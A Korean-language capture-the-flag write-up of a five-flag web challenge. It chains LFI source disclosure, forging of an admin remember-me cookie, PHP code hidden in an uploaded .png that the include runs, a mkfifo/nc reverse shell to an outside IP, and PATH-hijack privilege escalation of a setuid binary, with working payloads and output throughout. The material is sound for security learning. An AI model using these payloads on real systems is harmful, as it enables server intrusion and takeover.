Team : yoobi(solo)
Rank : 317/426th
web 문제가 주어진 하나의 사이트에서 #1~#5까지 FLAG를 계속 찾는 문제가 나왔었다. write-up을 보니 그래도 많이 접근할 수 있었는데, 문제 이름이나 설명에 힌트가 없을 경우 접근을 잘 못하는 것 같다. 특정 상황에서 어떻게 접근해야하는지를 알려면 많이 보는 수 밖에 없으니, 더 많고 다양한 문제들을 풀어보자
https://erichogue.ca/2022/02/24hCTFJamaisSansMonRiz
사이트가 하나 주어진다. 어떠한 힌트가 존재하지는 않기때문에, 혹시나 하는 생각으로 robots.txt에 접근하였더니 FLAG가 있었다.
write-up을 확인해보니,
이러한 상황일 때, gobuster를 사용하여 빠르게 scanning 하는 것도 좋은 방법인 것 같다
# gobuster dir -e -u http://www.jamaissansmonriz.com/ -t30 -w ./common.txt -xjs,txt,php
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://www.jamaissansmonriz.com/
[+] Method: GET
[+] Threads: 30
[+] Wordlist: ./common.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.1.0
[+] Extensions: php,js,txt
[+] Expanded: true
[+] Timeout: 10s
===============================================================
2022/02/07 20:49:09 Starting gobuster in directory enumeration mode
===============================================================
http://www.jamaissansmonriz.com/.htpasswd.txt (Status: 403) [Size: 289]
http://www.jamaissansmonriz.com/.htpasswd.php (Status: 403) [Size: 289]
http://www.jamaissansmonriz.com/.htpasswd (Status: 403) [Size: 289]
http://www.jamaissansmonriz.com/.htpasswd.js (Status: 403) [Size: 289]
http://www.jamaissansmonriz.com/.htaccess (Status: 403) [Size: 289]
http://www.jamaissansmonriz.com/.htaccess.txt (Status: 403) [Size: 289]
http://www.jamaissansmonriz.com/.htaccess.php (Status: 403) [Size: 289]
http://www.jamaissansmonriz.com/.htaccess.js (Status: 403) [Size: 289]
http://www.jamaissansmonriz.com/.hta (Status: 403) [Size: 289]
http://www.jamaissansmonriz.com/.hta.js (Status: 403) [Size: 289]
http://www.jamaissansmonriz.com/.hta.txt (Status: 403) [Size: 289]
http://www.jamaissansmonriz.com/.hta.php (Status: 403) [Size: 289]
http://www.jamaissansmonriz.com/about.php (Status: 200) [Size: 6793]
http://www.jamaissansmonriz.com/admin (Status: 301) [Size: 336] [--> http://www.jamaissansmonriz.com/admin/]
http://www.jamaissansmonriz.com/assets (Status: 301) [Size: 337] [--> http://www.jamaissansmonriz.com/assets/]
http://www.jamaissansmonriz.com/contact.php (Status: 200) [Size: 6965]
http://www.jamaissansmonriz.com/css (Status: 301) [Size: 334] [--> http://www.jamaissansmonriz.com/css/]
http://www.jamaissansmonriz.com/favicon.ico (Status: 200) [Size: 23462]
http://www.jamaissansmonriz.com/footer.php (Status: 200) [Size: 1898]
http://www.jamaissansmonriz.com/header.php (Status: 200) [Size: 1163]
http://www.jamaissansmonriz.com/img (Status: 301) [Size: 334] [--> http://www.jamaissansmonriz.com/img/]
http://www.jamaissansmonriz.com/index.php (Status: 200) [Size: 8121]
http://www.jamaissansmonriz.com/index.php (Status: 200) [Size: 8121]
http://www.jamaissansmonriz.com/js (Status: 301) [Size: 333] [--> http://www.jamaissansmonriz.com/js/]
http://www.jamaissansmonriz.com/post.php (Status: 200) [Size: 10070]
http://www.jamaissansmonriz.com/posts (Status: 301) [Size: 336] [--> http://www.jamaissansmonriz.com/posts/]
http://www.jamaissansmonriz.com/robots.txt (Status: 200) [Size: 64]
http://www.jamaissansmonriz.com/robots.txt (Status: 200) [Size: 64]
http://www.jamaissansmonriz.com/server-status (Status: 403) [Size: 289]
===============================================================
2022/02/07 20:51:11 Finished
===============================================================
FLAG#1 : FLAG{1_dur_dur_detre_un_robot}
다음으로는 파일다운로드 취약점이 존재한다.
이는 robots.txt를 찾기도 전에 먼저 발견해서 어떻게 FLAG를 얻는 것인지 계속 뒤져보고 있었다.
robots.txt의 Disallow, 그리고 gobuster의 결과 값으로 /admin/의 존재여부를 알 수 있다
접속해보면 /admin/login.php 이다
파일다운로드 취약점이 존재하는 부분은 post.php 이다
post.php는 posts/1.php를 불러와주는 서비스를 하고 있다
즉, /admin/login.php는 php 파일이라 바로 내용을 확인할 수 없다
따라서 LFI convert.base64-encode를 활용하여 파일을 추출한다
base64로 디코딩하면 아래와 같다
<?php
// FLAG{2_je_me_sens_tellement_inclu}
include_once("lib/crypto.php");
session_start();
if(isset($_SESSION["admin"]) && $_SESSION["admin"]) {
header("Location: /admin/index.php");
exit();
}
// Validate Remember Me
if(isset($_COOKIE["remember_me"])) {
if ($remember_me = validate_remember_me_cookie($_COOKIE["remember_me"])) {
$_SESSION["admin"] = true;
$_SESSION["username"] = "admin";
header("Location: /admin/index.php");
exit();
}
}
// Validate login
if(isset($_POST["email"]) && isset($_POST["password"])) {
// TODO: Ajouter une base de donnees, comme ca on ne riz plus
if($_POST["email"] === "admin@jamaissansmonriz.com" && $_POST["password"] === getenv("FLAG4")) {
$_SESSION["admin"] = true;
$_SESSION["username"] = "admin";
if(isset($_POST["remember_me"]) && $_POST["remember_me"] === "on") {
setcookie("remember_me", generate_remember_me_cookie($_SESSION["username"], "1"), time()+3600*24*30, "/", "", 0);
}
header("Location: /admin/index.php");
exit();
}
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
<meta name="description" content="">
<meta name="author" content="">
<title>SB Admin 2 - Login</title>
<!-- Custom fonts for this template-->
<link href="vendor/fontawesome-free/css/all.min.css" rel="stylesheet" type="text/css">
<link
href="https://fonts.googleapis.com/css?family=Nunito:200,200i,300,300i,400,400i,600,600i,700,700i,800,800i,900,900i"
rel="stylesheet">
<!-- Custom styles for this template-->
<link href="css/sb-admin-2.min.css" rel="stylesheet">
</head>
<body class="bg-gradient-primary">
<div class="container">
<!-- Outer Row -->
<div class="row justify-content-center">
<div class="col-xl-10 col-lg-12 col-md-9">
<div class="card o-hidden border-0 shadow-lg my-5">
<div class="card-body p-0">
<!-- Nested Row within Card Body -->
<div class="row">
<div class="col-lg-6 d-none d-lg-block bg-login-image"></div>
<div class="col-lg-6">
<div class="p-5">
<div class="text-center">
<h1 class="h4 text-gray-900 mb-4">Welcome Back!</h1>
</div>
<form class="user" action="login.php" method="post">
<div class="form-group">
<input name="email" type="email" class="form-control form-control-user"
id="exampleInputEmail" aria-describedby="emailHelp"
placeholder="admin@jamaissansmonriz.com" required>
</div>
<div class="form-group">
<input name="password" type="password" class="form-control form-control-user"
id="exampleInputPassword" placeholder="Password" required>
</div>
<div class="form-group">
<div class="custom-control custom-checkbox small">
<input name="remember_me" type="checkbox" class="custom-control-input" id="customCheck">
<label class="custom-control-label" for="customCheck">Remember Me</label>
</div>
</div>
<input type="submit" class="btn btn-primary btn-user btn-block" value="Login">
</form>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<!-- Bootstrap core JavaScript-->
<script src="vendor/jquery/jquery.min.js"></script>
<script src="vendor/bootstrap/js/bootstrap.bundle.min.js"></script>
<!-- Core plugin JavaScript-->
<script src="vendor/jquery-easing/jquery.easing.min.js"></script>
<!-- Custom scripts for all pages-->
<script src="js/sb-admin-2.min.js"></script>
</body>
</html>
FLAG#2 : FLAG{2_je_me_sens_tellement_inclu}
위의 php코드를 통해,
lib/crypto.php가 존재하며,
validate_remember_me_cookie(), generate_remember_me_cookie() 등이 구현되어 있다는 것을 알 수 있다
LFI base64 download로 admin/lib/crypto.php도 다운받아서 decoding하면 아래와 같다
<?php
$key = "5UP3R_S3CURE,K3Y";
$cipher="AES-128-CBC";
function generate_remember_me_cookie($username, $admin) {
$iv = substr(md5(mt_rand()), 0, 16);
$t = time() + (3600 * 24 * 365);
$data = $username . "|" . $t . "|" . $admin;
return base64_encode(encrypt($data, $iv) . "|" . $iv);
}
function validate_remember_me_cookie($cookie) {
global $key, $cipher;
try {
$cookie_expended = explode("|", base64_decode($cookie));
$decrypted_cookie = decrypt($cookie_expended[0], $cookie_expended[1]);
if(!$decrypted_cookie) {
return false;
}
$exp_d_cookie = explode("|", $decrypted_cookie);
if ($exp_d_cookie[1] < time()) {
return false;
}
// TODO: Ajouter des comptes user
if ($exp_d_cookie[2] != "1") {
return false;
}
} catch (Exception $e) {
throw $e;
return false;
}
return $exp_d_cookie;
}
function encrypt($data, $iv) {
global $key, $cipher;
// $ciphertext_raw = openssl_encrypt($data, $cipher, $key, 0, $iv);
// return base64_encode(ciphertext_raw);
return openssl_encrypt($data, $cipher, $key, 0, $iv);
}
function decrypt($cookie, $iv) {
global $key, $cipher;
// $ciphertext_raw = base64_decode($cookie);
// return openssl_decrypt($ciphertext_raw, $cipher, $key, 0, $iv);
return openssl_decrypt($cookie, $cipher, $key, 0, $iv);
}
?>
generate_remember_me_cookie() 함수가 존재하므로
위 함수의 param으로 $username="admin", $admin=true를 주고 generate를 진행한다
위의 값을 COOKIE["remember_me"]에 넣어서 새로고침하면 admin으로 로그인할 수 있다
FLAG#3 : FLAG{3_you_get_a_token_you_get_a_token_you_get_a_token}
좌측에 Uploads 서비스가 존재한다
서비스하는 admin/upload.php 파일 또한 LFI Donwload 하면
<?php
require_once("header.php");
?>
<!-- Begin Page Content -->
<div class="container-fluid">
<!-- Page Heading -->
<h1 class="h3 mb-4 text-gray-800">Uploads</h1>
</div>
<div class="container-fluid">
<div class="alert alert-primary" role="alert">You can upload your favorite png and jpg here! You know, for safe keeping!</div>
<form action="upload.php" method="post" enctype="multipart/form-data">
<div class="form-group">
<div class="custom-file">
<input name="file" type="file" class="custom-file-input" id="customFile">
<label class="custom-file-label" for="customFile">Choose file</label>
</div>
</div>
<div class="form-group">
<button type="submit" class="btn btn-primary">Upload</button>
</div>
</form>
<script src="https://code.jquery.com/jquery-3.1.1.slim.min.js" integrity="sha384-A7FZj7v+d/sdmMqp/nOQwliLvUsJfDHW+k9Omg/a/EheAdgtzNs3hpfag6Ed950n" crossorigin="anonymous"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/tether/1.4.0/js/tether.min.js" integrity="sha384-DztdAPBWPRXSA/3eYEEUWrWCy7G5KFbe8fFjk5JAIxUYHKkDx6Qin1DkWx51bBrb" crossorigin="anonymous"></script>
<script src="https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0-alpha.6/js/bootstrap.min.js" integrity="sha384-vBWWzlZJ8ea9aCX4pEW3rVHjgjt7zpkNpZk+02D9phzyeVkE+jo0ieGizqPLForn" crossorigin="anonymous"></script>
<script>
$('#customFile').on('change',function(){
//get the file name
var fileName = $(this).val();
//replace the "Choose a file" label
var cleanFileName = fileName.replace('C:\\fakepath\\', "");
$(this).next('.custom-file-label').html(cleanFileName);
})
</script>
<?php
if (isset($_FILES['file'])) {
$uploaddir = '/var/www/uploads/' . session_id() . '/';
$path_parts = pathinfo($_FILES['file']['name']);
$filename = $path_parts['basename'];
$valid_ext = ["jpg", "png"];
if(in_array($path_parts['extension'], $valid_ext, true)) {
if (!file_exists($uploaddir)) {
mkdir($uploaddir, 0755, true);
}
$uploadfile = $uploaddir . $filename;
if (move_uploaded_file($_FILES['file']['tmp_name'], $uploadfile)) {
echo '<div class="alert alert-success" role="alert"> File is valid, and was successfully and securely uploaded.</div>';
} else {
echo '<div class="alert alert-danger" role="alert">What did you do... I\'m not mad, I\'m just disappointed...</div>';
}
} else {
echo '<div class="alert alert-danger" role="alert">What did you do... I\'m not mad, I\'m just disappointed...</div>';
}
}
?>
</div>
<!-- /.container-fluid -->
<?php
include_once("footer.php");
?>
$uploaddir = '/var/www/uploads/' . session_id() . '/';
로 파일이 업로드되는 것을 알 수 있다
즉, 업로드되는 파일의 위치를 알 수 있다
또한, post.php에서는 아래와 같이 include($_GET["postid"]); 로 실행을 하는 것을 알 수 있다
php에서 include는 확장자가 php가 아니더라도 php 코드를 실행해준다
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8" />
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" />
<meta name="description" content="" />
<meta name="author" content="" />
<title>Clean Blog - Start Bootstrap Theme</title>
<link rel="icon" type="image/x-icon" href="assets/favicon.ico" />
<!-- Font Awesome icons (free version)-->
<script src="https://use.fontawesome.com/releases/v5.15.4/js/all.js" crossorigin="anonymous"></script>
<!-- Google fonts-->
<link href="https://fonts.googleapis.com/css?family=Lora:400,700,400italic,700italic" rel="stylesheet" type="text/css" />
<link href="https://fonts.googleapis.com/css?family=Open+Sans:300italic,400italic,600italic,700italic,800italic,400,300,600,700,800" rel="stylesheet" type="text/css" />
<!-- Core theme CSS (includes Bootstrap)-->
<link href="css/styles.css" rel="stylesheet" />
</head>
<body>
<?php
include("header.php");
?>
<?php
if(isset($_GET["postid"])) {
// include($_GET["postid"] . ".php");
if(preg_match("/\.conf$/", $_GET["postid"])) {
die();
}
include($_GET["postid"]);
} else {
include("posts/1.php");
}
?>
<?php
include("footer.php");
?>
<!-- Bootstrap core JS-->
<script src="https://cdn.jsdelivr.net/npm/bootstrap@5.1.3/dist/js/bootstrap.bundle.min.js"></script>
<!-- Core theme JS-->
<script src="js/scripts.js"></script>
</body>
</html>
따라서, /admin/login.php를 통해 알 수 있었던 env로 저장되어 있는 FLAG4를 echo로 출력해준다
업로드한 flag.png는 아래와 같다
<?php
echo getenv("FLAG4");
?>
FLAG#4 : FLAG{4_good_job_devient_root_maintenant}
마지막 FLAG#5는 보이지 않으므로, RCE에 도전한다
FLAG4를 읽은 것과 같은 원리로,
아래와 같은 코드를 통해 RCE가 가능하다
<?php
echo system("ls -al");
?>
nc로 reverse shell을 시도한다
nc로 열어주고 include로 실행되는 php 코드에 아래와 같이 작성한다
<?php
system("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 13.124.227.195 58588 >/tmp/f")
?>
"nc -e /bin/sh IP_ADDR PORT"를 많이 봤지만,
nc 중 -c, -e 옵션이 존재하지 않는 버전이 존재한다
위와 같이 "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 13.124.227.195 58588 >/tmp/f"로 연결이 가능하다
my_very_special_script.c라는 파일을 발견할 수 있는데,
setuid(1000); 걸려있다
1000은 admin으로 setuid()가 걸려있는 것으로 보아 admin 계정을 얻어야함을 알 수 있다
이때 system으로 "touch /tmp/hello_world"를 실행한다
아래와 같이 공격이 가능하다
// 임시 디렉토리 생성
$ mkdir /tmp/yoobi
// 생성한 임시 디렉토리로 이동
$ cd /tmp/yoobi
// "touch" 라는 파일명을 가진 shell script 제작
$ cat > touch
#!/bin/sh
/bin/sh
// "touch"에 실행권한 부여
$ chmod +x touch
// 환경변수 조작, 이로 인해 /bin/touch가 아닌 /tmp/yoobi/touch가 실행된다
$ PATH=/tmp/yoobi
$ export PATH
// 파일 실행
$ /my_very_special_script.o
// 여기부터 admin의 shell을 획득
// 실제 공격 시 $ 표시가 사라지지만 편의상 추가
// 환경변수를 조작하였으므로, 명령어를 /bin/~ 으로 실행한다
$ /bin/id
uid=1000(admin) gid=33(www-data) groups=33(www-data)
$ /bin/ls -al /home/admin
total 24
dr-x------ 1 admin admin 4096 Feb 5 11:26 .
drwxr-xr-x 1 root root 4096 Feb 5 11:26 ..
-rw-r--r-- 1 admin admin 220 Feb 25 2020 .bash_logout
-rw-r--r-- 1 admin admin 3771 Feb 25 2020 .bashrc
-rw-r--r-- 1 admin admin 807 Feb 25 2020 .profile
-r--r--r-- 1 root root 36 Feb 5 11:26 flag.txt
$ /bin/cat /home/admin/flag.txt
FLAG{5_la_track_est_enfin_finie_gj}
FLAG#5 : FLAG{5_la_track_est_enfin_finie_gj}
※ robots.txt check
※ File Download -> php LFI 연결 발상 장착
※ session cookie
※ PHP include는 확장자 check 없이 php 코드를 실행한다
※ reverse shell, -c -e 없이 하는 방법 기억
※ privilege escalation 기억